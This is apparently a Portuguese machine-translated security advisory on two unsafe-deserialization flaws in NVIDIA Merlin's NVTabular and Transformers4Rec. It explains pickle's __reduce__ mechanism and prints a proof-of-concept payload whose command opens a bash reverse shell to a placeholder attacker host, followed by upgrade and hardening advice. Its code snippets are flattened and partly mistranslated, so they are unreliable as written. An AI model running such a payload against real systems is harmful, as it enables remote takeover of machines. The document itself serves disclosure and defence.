O cenário da infraestrutura de IA está enfrentando um grave desafio de segurança. NVIDIA Merlina estrutura padrão do setor para a criação de sistemas de recomendação de alto desempenho em escala, contém dois fatores críticos Execução remota de código (RCE) vulnerabilidades.
Rastreado como CVE-2025-33214 e CVE-2025-33213Essas falhas residem na NVTabular e Transformers4Rec bibliotecas. Elas se originam de uma fraqueza fundamental no manuseio de dados do Python: Deserialização insegura (CWE-502).
Os invasores podem explorar essas falhas para comprometer clusters de GPU, envenenar modelos de IA ou exfiltrar conjuntos de dados proprietários simplesmente induzindo um sistema a carregar um arquivo de configuração malicioso ou um ponto de verificação de modelo. Este artigo apresenta uma dissecação técnica do mecanismo de exploração, o impacto nos pipelines de MLOps e uma estratégia de correção obrigatória.

A matriz de vulnerabilidade: O que é afetado?
As vulnerabilidades afetam a maneira como os componentes do Merlin lidam com a serialização de dados - especificamente o uso do picles ao carregar artefatos do disco.
| Componente | ID DO CVE | Tipo de vulnerabilidade | Gravidade | Funcionalidade afetada |
|---|---|---|---|---|
| NVTabular | CVE-2025-33214 | Deserialização insegura | Crítico | Carregamento de objetos de fluxo de trabalho salvos via Fluxo de trabalho.load() |
| Transformers4Rec | CVE-2025-33213 | Deserialização insegura | Crítico | Carregamento de pontos de verificação do modelo e configurações de treinamento |
Ambas as vulnerabilidades têm uma pontuação CVSS próxima a 9.8indicando que eles podem ser explorados remotamente (se a origem do arquivo for remota) ou localmente, não exigem autenticação e resultam em comprometimento total do sistema.
Anatomia técnica: Quando a decapagem se torna venenosa
Para entender por que Para entender como esses CVEs são tão perigosos, precisamos analisar o mecanismo subjacente do ataque: Python's picles formato de serialização.
O problema do "Pickle

Diferente de JSON ou CSV, que são formatos somente de dados, picles é um mecanismo de máquina virtual baseado em pilha. Ele não armazena apenas dados; armazena instruções sobre como reconstruir objetos Python.
A vulnerabilidade está na __reduzir__ método. Quando o Python desvincula um objeto, se esse objeto definir __reduzir__o Python executará o chamável retornado por esse método. Esse recurso, projetado para a reconstrução legítima de objetos, permite que os invasores incorporem bytecode arbitrário.
Análise do código de exploração (PoC conceitual)
⚠️ Isenção de responsabilidade: o código a seguir é apenas para fins educacionais e de testes defensivos.
No contexto de NVTabularum invasor pode criar um arquivo malicioso fluxo de trabalho diretório. Quando um cientista de dados ou um pipeline automatizado de MLOps carrega esse fluxo de trabalho para executar operações de ETL, a carga útil é acionada.
Esta é a aparência de um gerador de carga útil armado:
Python
`import pickle import os
class MaliciousArtifact(object): def reduzir(self): # A carga útil: Esse comando é executado imediatamente após a desserialização. # Em um ataque real, isso seria um shell reverso ou um sinalizador C2. cmd = "bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1′" return (os.system, (cmd,))
Gerar o veneno
Isso simula um arquivo de modelo ou uma configuração de fluxo de trabalho comprometida
exploit_data = pickle.dumps(MaliciousArtifact())
O gatilho
Dentro do NVTabular ou do Transformers4Rec, é executado um código semelhante a este:
Nenhuma verificação é realizada no conteúdo do arquivo antes da execução.
pickle.loads(exploit_data)`
O vetor Transformers4Rec
Para Transformers4Rec (CVE-2025-33213), o risco geralmente está oculto nos arquivos de modelo do PyTorch (.pt ou .bin). Como os mecanismos de salvamento padrão do PyTorch usam picles Por padrão, qualquer modelo pré-treinado baixado de uma fonte não confiável (por exemplo, um repositório Hugging Face comprometido) pode servir como o Cavalo de Troia.
Análise de impacto: O custo do comprometimento
Por que os CISOs e os diretores de engenharia devem se preocupar? Porque os pipelines Merlin são executados em uma infraestrutura de alto valor.
A. Sequestro de cluster de GPU (Cryptojacking)
O Merlin foi projetado para as GPUs NVIDIA A100/H100. Esses são os recursos mais cobiçados para a mineração de criptomoedas. Um RCE permite que os invasores instalem mineradores silenciosamente, custando às empresas milhares de dólares em taxas de computação em nuvem diariamente.
B. Envenenamento da cadeia de suprimentos
Se um invasor comprometer o pipeline de treinamento por meio do NVTabular (fase ETL), ele poderá alterar sutilmente os dados de entrada.
- Resultado: O modelo aprende vieses ocultos ou backdoors (por exemplo, "Sempre recomendar esse produto específico" ou "Ignorar sinalizadores de fraude para esse ID de usuário").
C. Movimento lateral
Os clusters de treinamento de IA geralmente têm acesso privilegiado a data lakes (S3, Snowflake) e repositórios de códigos internos. Um nó comprometido serve como o ponto de partida perfeito para se aprofundar na rede corporativa.
Estratégia de remediação: Protegendo o pipeline de IA
A NVIDIA lançou correções, mas uma verdadeira correção exige uma mudança na forma como sua organização lida com artefatos de IA.
Fase 1: Remendo imediato (a fase de "estancar o sangramento")
Verifique suas versões atuais e atualize imediatamente usando tubulação ou conda.
Bash
`# Atualize o NVTabular para a versão corrigida pip install -upgrade nvtabular
Atualize Transformers4Rec para a versão corrigida
pip install -upgrade transformers4rec`
Verificação:
Após a instalação, verifique os números de versão em relação ao boletim de segurança da NVIDIA para garantir que você esteja em uma versão datada de dezembro de 2025 ou posterior.
Fase 2: Fortalecimento da arquitetura (a fase "Zero Trust")
1. Migrar para o SafeTensors
O setor está se afastando do Pickle. SafeTensors é um novo formato de serialização desenvolvido pela Hugging Face que é seguro por design. Ele armazena tensores puramente como dados, tornando impossível a execução de código durante o carregamento.
Exemplo de migração de código:
Python
`# ❌ VULNERABLE (Legacy PyTorch/Pickle) torch.save(model.state_dict(), "modelo.pt") model.load_state_dict(torch.load("modelo.pt“))
SECURE (SafeTensors)
from safetensors.torch import save_file, load_file
save_file(model.state_dict(), "model.safetensors") load_file(model, "model.safetensors")`
2. Implementar a varredura de modelos
Integre um scanner ao seu pipeline de CI/CD ou ao Model Registry. Ferramentas como Piclescan pode analisar .pkl, .pte .bin em busca de assinaturas suspeitas de bytecode antes de permitir o carregamento.
3. Segmentação de rede (filtragem de saída)
Seus ambientes de treinamento não devem ter acesso irrestrito à Internet.
- Bloco: Todo o tráfego de saída por padrão.
- Permitir: Somente domínios específicos e confiáveis (por exemplo, espelhos internos do PyPI, buckets S3 específicos).
- Por que: Isso impede que um shell reverso (como o do PoC acima) se conecte novamente ao servidor de comando e controle do invasor.
Conclusão
A divulgação do CVE-2025-33214 e do CVE-2025-33213 serve como um alerta para o setor de IA. Não podemos mais tratar arquivos de modelos e fluxos de trabalho de dados como ativos estáticos benignos; eles são códigos executáveis.
À medida que a IA se integra mais profundamente às operações comerciais essenciais, proteger o pipeline de MLOps é tão importante quanto proteger o próprio aplicativo da Web.
Plano de ação para hoje:
- Auditoria: Executar
lista de pipem todos os contêineres de treinamento. - Patch: Implante as versões mais recentes do NVIDIA Merlin.
- Refatoração: Iniciar o roteiro para substituir o Pickle pelo SafeTensors.

